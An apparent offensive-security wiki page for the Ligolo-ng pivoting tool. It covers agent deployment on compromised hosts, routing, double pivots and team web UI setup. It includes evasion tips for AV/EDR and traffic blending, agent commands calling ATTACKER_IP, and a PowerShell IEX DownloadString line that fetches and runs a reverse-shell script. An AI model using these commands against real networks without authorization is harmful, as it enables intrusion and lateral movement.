ᛉ Yggdrasil

Tool references

Ligolo-ng Wiki

17 Sep 2026 · 4,051 words · 18 min

Contents

Author: Nicolas Chatelain (@nicocha30) Repo: https://github.com/nicocha30/ligolo-ng Docs: https://docs.ligolo.ng/ Description: Advanced, simple tunneling/pivoting tool using a TUN interface (no SOCKS/proxychains needed) Current Version: 0.8.3 (Feb 2026) Target Platform: Cross-platform (Go) — proxy on Windows/Linux/macOS/BSD, agent on almost any Go-supported OS/arch


Overview

Ligolo-ng is a pivoting tool that replaces the classic SOCKS proxy / proxychains workflow with a userland TUN interface powered by gVisor. Instead of wrapping every tool invocation in proxychains, you add a route to a virtual network interface on your attacker box, and any tool (nmap, smbclient, evil-winrm, CrackMapExec/NetExec, etc.) just works natively against the pivoted network — no SOCKS wrapper required.

How it works:

  • The proxy (runs on your C2/attacker box) creates a local tun interface. Packets sent to that interface are intercepted by gVisor's userland network stack.
  • The agent (runs on the compromised host) receives translated connection requests over a single multiplexed TLS connection and performs the real connect()/socket calls on the target's network.
  • For TCP: SYN → connect() on the agent; SYN-ACK on success; RST on ECONNRESET/ECONNABORTED/ECONNREFUSED; nothing on timeout.
  • Supports TCP, UDP, and ICMP echo (ping) forwarding.

Key capabilities:

  • No privileges required on the agent — full tunneling with a standard, unprivileged user
  • Reverse (agent → proxy) or bind (proxy → agent) connection modes
  • Multiple simultaneous agents/tunnels, each on its own TUN interface
  • Built-in interface_create / route_add — no manual ip tuntap needed (>= v0.6)
  • Listener relaying on the agent for double/triple pivoting without extra tools
  • Automatic Let's Encrypt certs, custom certs, or self-signed with fingerprint verification
  • Agent-side local port access via a "magic" CIDR (240.0.0.0/4) — no separate SSH -L needed
  • Multiplayer Web UI + REST API (since v0.8) for team engagements
  • Config file for autobinding agents to interfaces and pre-registering routes
  • Auto-reconnect on the agent side if the connection drops
  • WebSocket transport support, for blending in with HTTPS traffic or going through a reverse proxy

How it's different from a SOCKS pivot (Chisel/Meterpreter/ssh -D): those forward individual sockets through a proxy protocol that every downstream tool has to speak (via proxychains). Ligolo-ng instead builds a real (virtual) network interface on your box, so routing "just works" at the OS level — better performance, works with tools that don't play nicely with SOCKS (raw nmap scans, ICMP pings, etc.), at the cost of running the proxy with the ability to create a TUN device (needs elevated privileges on the proxy side only).


Architecture: Proxy vs Agent

Component Runs on Privileges Role
proxy Attacker/C2 box Needs rights to create a TUN interface (root/admin, or CAP_NET_ADMIN) Listens for agent connections, hosts the CLI, manages tunnels/routes/listeners
agent Compromised/pivot host None required Connects (or listens) for the proxy, performs actual socket operations on its local network

The agent is a single static Go binary with no dependencies — copy it over and run it. It never needs to write to disk beyond itself (no config, no temp files by default).


Installation & Building

# Kali (included by default, but the repo release is usually newer)
sudo apt install ligolo-ng

# Precompiled binaries (recommended) — grab proxy + agent for your OS/arch
# https://github.com/nicocha30/ligolo-ng/releases

# Build from source (requires Go >= 1.20)
git clone https://github.com/nicocha30/ligolo-ng
cd ligolo-ng
go build -o agent cmd/agent/main.go
go build -o proxy cmd/proxy/main.go

# Cross-compile the agent for Windows targets
GOOS=windows GOARCH=amd64 go build -o agent.exe cmd/agent/main.go

# Cross-compile for common pivot targets
GOOS=linux   GOARCH=amd64 go build -o agent_linux_amd64   cmd/agent/main.go
GOOS=linux   GOARCH=arm64 go build -o agent_linux_arm64   cmd/agent/main.go
GOOS=darwin  GOARCH=amd64 go build -o agent_darwin_amd64  cmd/agent/main.go
GOOS=windows GOARCH=386   go build -o agent_win_x86.exe   cmd/agent/main.go

Windows proxy note: you need the Wintun driver — place wintun.dll (matching architecture) next to proxy.exe.


Proxy Server Flags

ligolo-proxy -h

  -allow-domains string
        autocert authorised domains, if empty, allow all domains, comma-separated
  -api-laddr string
        API server listening address (default: 127.0.0.1:8080)
  -autocert
        automatically request Let's Encrypt certificates, requires port 80 to be accessible
  -certfile string
        TLS server certificate (default "certs/cert.pem")
  -config string
        the config file to use
  -cpuprofile file
        write cpu profile to file
  -daemon
        run as daemon mode (no CLI)
  -keyfile string
        TLS server key (default "certs/key.pem")
  -laddr string
        listening address (prefix with http(s):// for websocket) (default "0.0.0.0:11601")
  -memprofile file
        write memory profile to file
  -nobanner
        don't show banner on startup
  -selfcert
        dynamically generate self-signed certificates
  -selfcert-domain string
        the selfcert TLS domain to use (default "ligolo")
  -v      enable verbose mode
  -version
        show the current version

Agent Flags

ligolo-agent -h

  -accept-fingerprint string
        accept certificates matching the following SHA256 fingerprint (hex format)
  -bind string
        bind to ip:port (agent acts as the listener/server)
  -connect string
        connect to proxy (domain:port)
  -ignore-cert
        ignore TLS certificate validation (dangerous), only for debug purposes
  -proxy string
        proxy URL (http://admin:pass@ip:8080) or socks://admin:pass@ip:8080 to relay agent traffic
  -reconnect
        auto-reconnect after established connection is lost (default true)
  -reconnect-delay int
        reconnection delay in seconds (default 20)
  -reconnect-timeout int
        total reconnection timeout in seconds (default 300 = 5 minutes)
  -retry
        auto-retry on initial connection error
  -retry-delay int
        retry delay in seconds for initial connection (default 5)
  -ua string
        HTTP User-Agent (default mimics Chrome on Windows)
  -v      enable verbose mode
  -version
        show the current version

TLS Options

Three ways to secure the proxy ↔ agent connection:

# 1) Let's Encrypt autocert (port 80 must be reachable for validation)
./proxy -autocert
# optionally restrict which domains can be requested
./proxy -autocert -allow-domains c2.example.com

# 2) Your own cert/key pair
./proxy -certfile /path/fullchain.pem -keyfile /path/privkey.pem

# 3) Self-signed (fastest for labs/CTFs)
./proxy -selfcert
# Optionally set the CN used for the self-signed cert (default: "ligolo")
./proxy -selfcert -selfcert-domain evilcorp

Verifying self-signed certs (recommended over blind trust):

ligolo-ng » certificate_fingerprint
INFO[0203] TLS Certificate fingerprint for ligolo is: D005527D2683A8F2DB73022FBF23188E064493CFA17D6FCF257E14F4B692E0FC
# Agent pins to that fingerprint instead of trusting blindly
./agent -connect 10.10.10.5:11601 -accept-fingerprint D005527D2683A8F2DB73022FBF23188E064493CFA17D6FCF257E14F4B692E0FC

For labs only — skip all verification:

./agent -connect 10.10.10.5:11601 -ignore-cert

-ignore-cert disables MITM protection entirely. Fine for HTB/PG/OSCP labs, avoid on real engagements — prefer fingerprint pinning.


Starting Up

# On the proxy/attacker box
./proxy -selfcert
# or with Let's Encrypt
./proxy -autocert

# On the compromised target (no privileges needed)
./agent -connect attacker_c2_server.com:11601 -ignore-cert

Once the agent connects, a session appears on the proxy:

INFO[0102] Agent joined. name=user@hostname remote="10.10.10.20:38000"
ligolo-ng » session
? Specify a session : 1 - user@hostname - 10.10.10.20:38000

Over a SOCKS5 pivot (chaining through an existing proxy):

./agent -connect attacker_c2:11601 -proxy socks://127.0.0.1:1080
# credentials if needed
./agent -connect attacker_c2:11601 -proxy socks://admin:password@127.0.0.1:1080

Interface & Routing

Creating the TUN interface

# Manual (works on any Ligolo-ng version)
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
# Built-in (Ligolo-ng >= v0.6), no manual ip tuntap needed
ligolo-ng » interface_create --name "ligolo"
INFO[3185] Creating a new "ligolo" interface...
INFO[3185] Interface created!

macOS note: interfaces must be named utun[0-9], e.g. utun4.

Adding routes

# Built-in route management
ligolo-ng » interface_add_route --name ligolo --route 192.168.1.0/24
INFO[3206] Route created.

Or manually per-OS:

# Linux
sudo ip route add 192.168.1.0/24 dev ligolo

# Windows (find the interface index first)
netsh int ipv4 show interfaces
route add 192.168.1.0 mask 255.255.255.0 0.0.0.0 if <IFACE_IDX>

# macOS
sudo ifconfig utun4 alias 240.0.0.1 255.255.255.0
sudo route add -net 192.168.1.0/24 -interface utun4

Inspecting the agent's network

[Agent : user@hostname] » ifconfig
┌───────────────────────────────────────────────┐
│ Interface 3                                   │
├──────────────┬────────────────────────────────┤
│ Name         │ wlp3s0                         │
│ Hardware MAC │ de:ad:be:ef:ca:fe              │
│ MTU          │ 1500                           │
│ Flags        │ up|broadcast|multicast         │
│ IPv4 Address │ 192.168.1.30/24                │
└──────────────┴────────────────────────────────┘

Use the subnets shown here to decide which routes to add.


In-Session Commands

Core commands available in the Ligolo-ng CLI (ligolo-ng » prompt and per-agent [Agent : user@host] » prompt):

Command Description
session List/select a connected agent to operate on
ifconfig Show the agent's network interfaces (find target subnets)
interface_create --name NAME Create a local TUN interface (proxy side)
interface_add_route --name NAME --route CIDR Add a route to a TUN interface
interface_list / iflist List local TUN interfaces and routes
route_add --name NAME --route CIDR Add a route (newer alias, config-file aware)
route_list Show configured routes
route_del Remove a route
tunnel_start --tun NAME Start relaying traffic for the selected agent through the named interface
tunnel_stop Stop the active tunnel for the selected agent
listener_add --addr IP:PORT --to IP:PORT [--tcp\|--udp] Listen on the agent, relay to proxy (or elsewhere)
listener_list Show active agent listeners
listener_stop ID Stop a listener by index
connect_agent --ip IP:PORT Proxy connects out to a bound (listening) agent
certificate_fingerprint Print the proxy's TLS certificate fingerprint
agent_kill Remotely terminate the selected agent process
help List all commands

Listeners (Agent Binding/Relaying)

Listeners let you open a port on the agent and relay any connection made to it back to the proxy (or to any other reachable address). This is the mechanism used for double-pivoting, and it's also handy for catching reverse shells/reverse payloads launched inside the target network without needing another tool.

[Agent : user@hostname] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
INFO[1208] Listener created on remote agent!

This makes the agent listen on 0.0.0.0:1234; anything connecting there gets relayed to 127.0.0.1:4321 on the proxy box.

# On the proxy
nc -lvp 4321

Any connection to the agent's port 1234 now surfaces at the proxy's nc listener — useful for catching a reverse shell fired from deep inside the pivoted network without setting up a second tunnel.

[Agent : user@hostname] » listener_list
┌────────────────────────────────────────────────────────────────────────────────┐
│ Active listeners                                                               │
├───┬─────────────────────────┬─────────────────────────┬────────────────────────┤
│ # │ AGENT                   │ AGENT LISTENER ADDRESS  │ PROXY REDIRECT ADDRESS │
├───┼─────────────────────────┼─────────────────────────┼────────────────────────┤
│ 0 │ user@hostname           │ 0.0.0.0:1234            │ 127.0.0.1:4321         │
└───┴─────────────────────────┴─────────────────────────┴────────────────────────┘

[Agent : user@hostname] » listener_stop 0
INFO[1505] Listener closed.

Flags: --addr (agent-side bind address, required), --to (redirect target, required), --tcp/--udp (protocol, default TCP).


Agent as Server (Bind Mode)

By default the agent connects out to the proxy (reverse connection — best for agents behind NAT/firewalls). If the target host is directly reachable and you'd rather have the agent listen and the proxy connect in, use bind mode:

# On the target
./agent -bind 127.0.0.1:4444
WARN[0000] TLS Certificate fingerprint is: 05518ABE4F0D3B137A2365E0DE52A01FE052EE4C5A2FD12D8E2DD93AED1DD04B
INFO[0000] Listening on 127.0.0.1:4444...
# On the proxy
ligolo-ng » connect_agent --ip 127.0.0.1:4444
? TLS Certificate Fingerprint is: 05518ABE...AED1DD04B, connect? Yes
INFO[0021] Agent connected. name=user@hostname remote="127.0.0.1:4444"

Access to Agent's Localhost (127.0.0.1)

Ligolo-ng reserves the unused 240.0.0.0/4 IPv4 block as a "magic" CIDR that always maps to the currently selected agent's own loopback (127.0.0.1). This lets you reach services bound only to localhost on the pivot host (e.g., an internal web app, a DB only listening on 127.0.0.1) without SSH local forwarding.

sudo ip route add 240.0.0.1/32 dev ligolo
nmap 240.0.0.1 -sV
Nmap scan report for 240.0.0.1
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian
8000/tcp open  http    SimpleHTTPServer 0.6 (Python 3.9.2)

Configuration File

Since v0.8, the proxy supports a YAML config file (-config path.yaml) covering agent autobinding, pre-registered interfaces/routes, and the Web UI/API.

agent:
    deadbeefcafe:
        autobind: false
        interface: ligolo
interface:
    ligolosample:
        routes:
            - 10.254.0.0/24
            - 10.255.0.0/24
web:
    behindreverseproxy: false
    corsallowedorigin:
        - https://webui.ligolo.ng
    debug: false
    enabled: false
    enableui: true
    listen: 127.0.0.1:8080
    logfile: ui.log
    secret: 3383861a48e1332583e5d8cd9946d24b98be780e0c64581d693cb4ff50a68a68
    tls:
        alloweddomains: []
        autocert: false
        certfile: ""
        enabled: false
        keyfile: ""
        selfcert: false
        selfcertdomain: ligolo
    trustedproxies:
        - 127.0.0.1
    users:
        ligolo: <argon2id-hash-or-plaintext-to-auto-hash>

Autobinding agents

Automatically attach a specific agent (identified by session ID, default = MAC address) to an interface the instant it connects — no manual session/tunnel_start.

agent:
    deadbeefcafe:
        autobind: true
        interface: ligolo
INFO[0001] Agent joined. id=deadbeefcafe name=user@hostname remote="10.10.10.20:56072"
INFO[0001] Starting autobind session: deadbeefcafe on interface ligolo
INFO[0001] Starting tunnel to user@hostname (deadbeefcafe)

Automatic interfaces & routes

Pre-declare interfaces and their routes; Ligolo-ng creates/attaches them automatically on tunnel start. Any interface/route you create interactively (interface_create, route_add) also gets persisted back into this file automatically.

interface:
    ligolo:
        routes:
            - 10.55.0.0/24

Web section fields

Field Purpose
behindreverseproxy Set true when running behind Nginx/Caddy/etc.
corsallowedorigin Allowed CORS origins for the API
debug Verbose web server logging
enabled Enable/disable the API (default false)
enableui Serve the WebUI itself (default true)
listen Listening address for the API/UI
logfile Where HTTP logs go
secret JWT signing secret (auto-generated on first run)
tls TLS block, same semantics as proxy TLS flags
trustedproxies CIDRs/IPs trusted to set X-Forwarded-For
users Web UI login accounts — plaintext passwords are auto-hashed to argon2id on save

Web Interface / API

Since v0.8, Ligolo-ng ships an experimental multiplayer Web UI + REST API that can drive every CLI function over HTTP — useful for team engagements where multiple operators need visibility into the same tunnels.

web:
    enabled: true
    enableui: true
    listen: 0.0.0.0:8080
    users:
        teamlead: SuperSecretPassword123!
./proxy -selfcert -config ligolo.yaml

Then browse to http://<proxy>:8080 (or https:// if TLS is configured under web.tls). The UI shows connected agents, active tunnels, routes, and listeners, and lets any authenticated operator drive them — same underlying engine as the CLI.

Related project: ligolo-ng-web is a standalone frontend for the same API if you want to run/build the UI separately.


Double Pivoting (Nested Tunnels)

When a second network is only reachable through your first pivot (the second host has no route to your C2), use the first agent's listener to relay a second agent's connection back to the proxy.

[Kali/Proxy] <--TLS--> [Agent 1 / DMZ host] ---> [Agent 2 / internal host] ---> [deep internal network]

Step 1 — Proxy: start normally (./proxy -selfcert), connect Agent 1 as usual, set up its tunnel/routes so you can reach the DMZ subnet.

Step 2 — On Agent 1's session, add a listener to forward to the proxy's Ligolo port:

[Agent : user@dmz-host] » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:11601
INFO[1208] Listener created on remote agent!

--to 127.0.0.1:11601 targets the proxy's own Ligolo listening port (11601 is the default) — from Agent 1's perspective, 127.0.0.1 is the proxy, since that's where its control connection terminates.

[Agent : user@dmz-host] » listener_list
┌────────────────────────────────────────────────────────────────────────────┐
│ Active listeners                                                            │
├───┬────────────────┬───────────────────────┬────────────────────────────────┤
│ # │ AGENT           │ AGENT LISTENER ADDR   │ PROXY REDIRECT ADDRESS         │
├───┼────────────────┼───────────────────────┼────────────────────────────────┤
│ 0 │ user@dmz-host   │ 0.0.0.0:4444          │ 127.0.0.1:11601                │
└───┴────────────────┴───────────────────────┴────────────────────────────────┘

Step 3 — Deploy the second agent on the internal host, but point it at Agent 1's IP and listener port (not the proxy directly):

./agent -connect 10.24.0.30:4444 -ignore-cert

Agent 1 relays the handshake to the proxy, and a second session appears in the Ligolo-ng CLI:

ligolo-ng » session
? Specify a session :
  1 - user@dmz-host   - 10.10.10.20:38000
  2 - user@internal   - 10.24.0.55:xxxxx

Step 4 — Select session 2, create a second interface, add routes for the deeper network, start its tunnel:

ligolo-ng » session
> 2

[Agent : user@internal] » ifconfig
[Agent : user@internal] » interface_create --name "ligolo-2"
[Agent : user@internal] » interface_add_route --name ligolo-2 --route 172.16.9.0/24
[Agent : user@internal] » tunnel_start --tun ligolo-2

You now have two independent TUN interfaces on your attacker box — ligolo for the DMZ subnet and ligolo-2 for the deep-internal subnet — both usable simultaneously, no proxychains stacking required. Repeat the same listener-relay pattern for triple+ pivots.

# Attacker box routing table after both hops are set up
sudo ip route add 192.168.1.0/24  dev ligolo     # via Agent 1
sudo ip route add 172.16.9.0/24   dev ligolo-2   # via Agent 2 (through Agent 1)

Running Behind a Reverse Proxy

Fronting the Ligolo-ng listener with Nginx (or similar) lets you blend the C2 channel in with normal HTTPS traffic and centralize your TLS termination.

server {
    server_name DNS_NAME;
    index index.html;
    location / {
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header Upgrade websocket;
        proxy_set_header Connection Upgrade;
        proxy_http_version 1.1;
        proxy_pass https://LOCAL_IP:PORT;
    }
    listen 443 ssl;
    ssl_certificate /etc/letsencrypt/live/DNS_NAME/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/DNS_NAME/privkey.pem;
    include /etc/letsencrypt/options-ssl-nginx.conf;
    ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem;
}
# Proxy binds locally, Nginx fronts it with real certs
./proxy -laddr https://LOCAL_IP:PORT -certfile /etc/letsencrypt/live/DNS_NAME/fullchain.pem -keyfile /etc/letsencrypt/live/DNS_NAME/privkey.pem

# Agent connects to the public DNS name, not the backend directly
./agent -connect https://DNS_NAME

Note the -laddr prefix of http:// or https:// — this switches the proxy's transport to WebSocket, required for it to sit cleanly behind a standard HTTP(S) reverse proxy.


Agent Deployment Tricks

# Basic reverse connection, ignoring cert validation (labs/CTFs)
./agent -connect 10.10.14.5:11601 -ignore-cert

# Verbose (debugging connectivity issues)
./agent -connect 10.10.14.5:11601 -ignore-cert -v

# Pin to a known cert fingerprint instead of -ignore-cert (safer)
./agent -connect 10.10.14.5:11601 -accept-fingerprint <sha256_fingerprint>

# Blend in: mimic a normal browser User-Agent (default already does this)
./agent -connect 10.10.14.5:443 -ua "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

# Route agent traffic through an existing SOCKS proxy on the compromised host
./agent -connect 10.10.14.5:11601 -proxy socks://127.0.0.1:1080 -ignore-cert

# Resilient agent: retry on first connect, auto-reconnect if dropped
./agent -connect 10.10.14.5:11601 -ignore-cert -retry -retry-delay 10 -reconnect -reconnect-delay 15

# Windows execution (drop agent.exe via SMB/HTTP upload, then run)
agent.exe -connect 10.10.14.5:11601 -ignore-cert

# Background on Linux
nohup ./agent -connect 10.10.14.5:11601 -ignore-cert >/dev/null 2>&1 &
disown

OPSEC note: the agent is a static Go binary — will trip AV/EDR on signature alone in some environments. Consider renaming the binary, using -ua to mimic legitimate browser traffic, running the proxy in WebSocket mode behind a reverse proxy (see above) to blend with HTTPS, and testing detection coverage before dropping on a monitored host.


Nmap & Tooling Notes (OPSEC/Behavior)

Because the agent runs unprivileged, it cannot send raw packets — SYN scans become real connect() calls performed by the agent process.

# Recommended nmap flags when scanning through a Ligolo-ng tunnel
nmap 192.168.1.0/24 -sV -n --unprivileged
# or
nmap 192.168.1.0/24 -sV -n -PE

Without --unprivileged/-PE, nmap may misreport host-up status since it expects to see raw ICMP/TCP responses it controls directly. Once routes are set, tools work natively — no proxychains prefix needed:

nmap    -sV -n 192.168.1.10
smbclient -L //192.168.1.10 -U user
evil-winrm -i 192.168.1.10 -u user -p 'Password123!'
netexec smb 192.168.1.0/24 -u user -p 'Password123!'
xfreerdp /v:192.168.1.10 /u:user /p:'Password123!'

Common Attack Workflows

Workflow: Basic Single Pivot (CTF/HTB style foothold)

# Attacker
./proxy -selfcert

# Compromised box (upload agent binary first, e.g. via HTTP/SCP/SMB)
./agent -connect 10.10.14.5:11601 -ignore-cert
ligolo-ng » session
> 1

[Agent : user@target] » ifconfig
# Note the internal subnet, e.g. 172.16.5.0/24

ligolo-ng » interface_create --name ligolo
[Agent : user@target] » interface_add_route --name ligolo --route 172.16.5.0/24
[Agent : user@target] » tunnel_start --tun ligolo
# Now scan/attack the internal subnet directly
nmap -sV -n --unprivileged 172.16.5.0/24

Workflow: Reaching a Service Bound to Agent's Localhost Only

sudo ip route add 240.0.0.1/32 dev ligolo
nmap -sV 240.0.0.1
curl http://240.0.0.1:8000/

Workflow: Double Pivot (see full walkthrough above)

[Agent : user@dmz] » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:11601
./agent -connect <DMZ_HOST_IP>:4444 -ignore-cert
ligolo-ng » session
> 2
[Agent : user@internal] » interface_create --name ligolo-2
[Agent : user@internal] » interface_add_route --name ligolo-2 --route 10.1.30.0/24
[Agent : user@internal] » tunnel_start --tun ligolo-2

Workflow: Catching a Reverse Shell From Deep in the Pivoted Network

[Agent : user@target] » listener_add --addr 0.0.0.0:9001 --to 127.0.0.1:9001 --tcp
# On the proxy
nc -lvp 9001
# Payload run on a machine that can reach the agent but not the internet
# points at the agent's IP, not the attacker's — the agent relays it home
IEX(New-Object Net.WebClient).DownloadString('http://<agent_ip>:8000/shell.ps1')

Troubleshooting

Symptom Likely Cause / Fix
Agent connects then immediately drops Certificate mismatch — use -ignore-cert for labs or verify the fingerprint
interface_create fails on Linux Proxy user lacks rights to create TUN devices — run as root or grant CAP_NET_ADMIN
nmap reports all hosts down Add --unprivileged or -PE — the agent can't send raw packets
Windows targets can't run agent Ensure correct architecture (x86 vs x64); check Defender/AV isn't quarantining the binary
Traffic works but is slow Check for MTU mismatches; verify you're not double-tunneling unnecessarily
Can't reach a service on the pivot host itself Use the 240.0.0.0/4 magic CIDR trick instead of the host's real IP
Web UI unreachable web.enabled defaults to false in the config file — must explicitly enable it
Second agent in double-pivot won't connect Confirm you pointed it at Agent 1's IP:listener-port, not the proxy directly

Cheatsheet

Quick reference for the most common Ligolo-ng operations. Replace placeholders as needed.

Startup

# Proxy (attacker side)
./proxy -selfcert
./proxy -autocert                                  # Let's Encrypt, needs port 80
./proxy -laddr https://0.0.0.0:443 -certfile fullchain.pem -keyfile privkey.pem

# Agent (target side) — no privileges required
./agent -connect ATTACKER_IP:11601 -ignore-cert
./agent -connect ATTACKER_IP:11601 -accept-fingerprint SHA256_FINGERPRINT
./agent -bind 0.0.0.0:4444                          # bind mode, proxy connects in

Session & Tunnel Setup

session                                             # select an agent
ifconfig                                            # view agent's networks
interface_create --name ligolo                      # create local TUN
interface_add_route --name ligolo --route 10.0.0.0/24
tunnel_start --tun ligolo                           # start relaying
tunnel_stop                                         # stop relaying
iflist / interface_list                             # list local interfaces
route_list                                           # list routes

Listeners (Reverse Shell Catching / Double Pivot)

listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:11601 --tcp   # relay to proxy (pivot chaining)
listener_add --addr 0.0.0.0:9001 --to 127.0.0.1:9001 --tcp    # catch shell on proxy
listener_list
listener_stop 0

Bind Mode

# Target
./agent -bind 127.0.0.1:4444

# Proxy
connect_agent --ip 127.0.0.1:4444

Localhost Access Trick

sudo ip route add 240.0.0.1/32 dev ligolo
nmap 240.0.0.1 -sV

Manual Routing (fallback if not using built-ins)

# Linux
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 10.0.0.0/24 dev ligolo

# Windows
netsh int ipv4 show interfaces
route add 10.0.0.0 mask 255.255.255.0 0.0.0.0 if <IDX>

# macOS
sudo ifconfig utun4 alias 240.0.0.1 255.255.255.0
sudo route add -net 10.0.0.0/24 -interface utun4

Scanning Through the Tunnel

nmap -sV -n --unprivileged 10.0.0.0/24
netexec smb 10.0.0.0/24 -u user -p pass
evil-winrm -i 10.0.0.10 -u user -p pass

Config File Skeleton

agent:
    <agent_id>:
        autobind: true
        interface: ligolo
interface:
    ligolo:
        routes:
            - 10.0.0.0/24
web:
    enabled: true
    listen: 127.0.0.1:8080
    users:
        ligolo: ChangeMe123!
./proxy -selfcert -config ligolo.yaml

Double Pivot Quick Sequence

# Agent 1 session
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:11601

# On second pivot host
./agent -connect <AGENT1_IP>:4444 -ignore-cert

# Back on proxy: select new session, then
interface_create --name ligolo-2
interface_add_route --name ligolo-2 --route 172.16.0.0/24
tunnel_start --tun ligolo-2

References

  • GitHub: https://github.com/nicocha30/ligolo-ng
  • Official Documentation: https://docs.ligolo.ng/
  • Releases: https://github.com/nicocha30/ligolo-ng/releases
  • Ligolo-ng-Web (standalone WebUI): https://github.com/nicocha30/ligolo-ng-web
  • gVisor (userland network stack): https://gvisor.dev/
  • Wintun driver (Windows proxy requirement): https://www.wintun.net/
  • Kali Tools Reference: https://www.kali.org/tools/ligolo-ng/

← Tool references top ↑